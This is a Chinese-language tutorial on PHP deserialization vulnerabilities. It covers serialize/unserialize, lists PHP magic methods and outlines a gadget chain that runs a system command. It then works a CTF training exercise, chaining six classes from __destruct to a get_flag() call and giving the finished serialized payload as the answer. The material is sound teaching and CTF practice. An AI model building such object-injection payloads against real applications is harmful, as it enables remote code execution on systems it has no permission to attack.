更新于 

PHP反序列化漏洞分析与实操讲解

简介

  • 序列化(serialize()):将PHP对象压缩并按照一定格式转换成宇符串过程
  • 反序列化(unserialize()):从宇符串转换回PHP对象的过程
  • 目的:为了方便PHP对象传输存储
联想到电脑(diy)的栗子

image.png

  • PS:主要用于对象持久化(将对象保存到磁盘上以便以后读取)或在不同系统之间传输对象

序列化实例

图片描述

反序列化攻击概述

  • unserialize接收的参数用户可控,传入构造的字符串,实现攻击
  • 只序列化属性不序列化方法
    • 属性名、属性值、访问控制权限都存在,但是方法消失
  • 要寻找合适的能被我们控制属性,利用本身存在的方法

魔术方法

  • 以_ _开头

  • (1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

  • (2)wakeup() :unserialize()时会自动调用. 当对象所包含的属性数<->不一致

  • (3)destruct():当对象被销毁时会自动调用。

  • (4)toString(): 当反序列化后的对象被输出在模板中的时候(转换成`字符串的时候)自动调用

    • __construct()

  • __destruct()

  • __sleep()

  • __wakeup()

  • __toString()

  • __invoke()

  • __call()

反序列化中常用的魔术方法

__wakeup() //使用 unserialize 时触发
__sleep() //使用 serialize 时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callstatic () //在静态上下文中调用不可访问的方法时触发
__ construct()//当对象被创建(new)时会自动调用
__get() //用于从不可访问的属性读取数据
__set () //用于将数据写入不可访问的属性
__isset () //在不可访问的属性上调用 isset ()或 empty() 时触发
__unset () //在不可访问的属性上使用 unset () 时触发
__tostring() //把类当作字符串使用时触发
__invoke () //当脚本尝试将对象调用为函数时触发

反序列化攻击样例

  • Aurora对象的$test变量为一个Evil对象

  • Evil对象中的$test2变量为我们想要执行的系统命令

  • Aurora对象销毁时,调用destruct魔法函数,进而调用Evilaction函数,进而执行$test2中我们想要执行的系统命令

  • 生成Payload

Review

实战分析

  • 靶机环境 CTF30小时训练营 实践题目

class allstart
{
        public $var1;
        public $var2;
        public function __construct()
        {
                $this->var1 = new func1();
        }
        public function __destruct()
        {
                $this->var1->test1();
        }
}
class func1
{
        public $var1;
        public $var2;
        public function __construct()
        {
                $this->var1 = new func2();
        }
        public function test1()
        {
            $this->var1->test2();
        }
}    
class func2
{
        //step3: func2->__call()->在`对象上下⽂`中调⽤不可访问的⽅法时触发
        public $var1;
        public $var2;
        public function __construct()
        {
                $this->var1 = new func3();
        }
        public function __call($test2,$arr)
        {
                $s1 = $this->var1;
                $s1();
        }
}
class func3
{
        //step3:func3->__invoke()->concat string
        public $var1;
        public $var2;
        public function __construct()
        {
                $this->var1 = new func4();
        }
        // 尝试将对象`调⽤为函数时`触发
        public function __invoke()
        {
                $this->var2 = "concat string".$this->var1;
        } 
}
class func4
{
        // step2:func4->__tostring()->get_flag()
        public $str1;
        public $str2;
        public function __construct()
        {
                $this->str1 = new toget();
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class toget
{
        // step1: get_flag()
        public function get_flag()
        {       
                ##echo "flag{***}";
        }
}
$a=new allstart();
echo serialize($a);
answer
O:8:"allstart":2:{s:4:"var1";O:5:"func1":2:{s:4:"var1";O:5:"func2":2:{s:4:"var1";O:5:"func3":2:{s:4:"var1";O:5:"func4":2:{s:4:"str1";O:5:"toget":0:{}s:4:"str2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}
  • step
    • 1.查看代码逻辑;
    • 2.根据代码逻辑构造payload;